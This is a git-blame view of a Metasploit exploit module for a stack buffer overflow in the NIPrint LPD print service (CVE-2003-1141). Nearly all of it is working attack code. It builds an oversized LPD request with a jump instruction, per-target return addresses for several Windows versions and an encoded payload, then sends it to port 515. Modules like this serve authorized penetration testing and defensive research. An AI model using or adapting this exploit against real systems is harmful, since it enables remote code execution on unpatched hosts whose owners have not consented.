Files
metasploit-gs/modules/exploits/windows/lpd/niprint.rb
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

66 lines
1.7 KiB
Ruby
Raw Normal View History

##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2013-10-15 13:50:46 -05:00
# Current source: https://github.com/rapid7/metasploit-framework
##
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf::Exploit::Remote
2009-12-06 05:50:37 +00:00
Rank = GoodRanking
2006-09-12 06:05:23 +00:00
include Msf::Exploit::Remote::Tcp
2006-09-12 06:05:23 +00:00
def initialize(info = {})
super(update_info(info,
2006-09-12 06:05:23 +00:00
'Name' => 'NIPrint LPD Request Overflow',
'Description' => %q{
2010-05-09 17:45:00 +00:00
This module exploits a stack buffer overflow in the
2006-09-12 06:05:23 +00:00
Network Instrument NIPrint LPD service. Inspired by
Immunity's VisualSploit :-)
},
'Author' => [ 'hdm' ],
'License' => MSF_LICENSE,
'References' =>
[
2009-07-16 16:02:24 +00:00
['CVE', '2003-1141'],
['OSVDB', '2774'],
2006-09-12 06:05:23 +00:00
['BID', '8968'],
['URL', 'http://www.immunitysec.com/documentation/vs_niprint.html'],
],
'Privileged' => false,
'Payload' =>
{
'Space' => 500,
'BadChars' => "\x00\x0a",
'StackAdjustment' => -3500,
},
'Platform' => 'win',
'Targets' =>
2006-09-12 06:05:23 +00:00
[
['NIPrint3.EXE (TDS:0x3a045ff2)', { 'Ret' => 0x00404236 }], # jmp esi
2010-12-22 19:14:29 +00:00
['Windows XP SP3', { 'Ret' => 0x7C9D30E3 }],
2010-12-25 06:01:12 +00:00
['Windows 7 x64', { 'Ret' => 0x763B35DD }],
2006-09-12 06:05:23 +00:00
],
2010-07-03 03:13:45 +00:00
'DefaultTarget' => 0,
2020-10-02 17:38:06 +01:00
'DisclosureDate' => '2003-11-05'))
2010-07-03 03:13:45 +00:00
register_options(
[
Opt::RPORT(515)
])
2006-09-12 06:05:23 +00:00
end
def exploit
connect
req = rand_text_alphanumeric(8192)
2006-09-12 06:05:23 +00:00
req[ 0, 2] = "\xeb\x33"
req[ 49, 4] = [target.ret].pack('V')
req[ 53, payload.encoded.length ] = payload.encoded
2006-09-12 06:05:23 +00:00
print_status("Trying target #{target.name}...")
sock.put(req)
2006-09-12 06:05:23 +00:00
handler
disconnect
end
2009-07-16 16:02:24 +00:00
end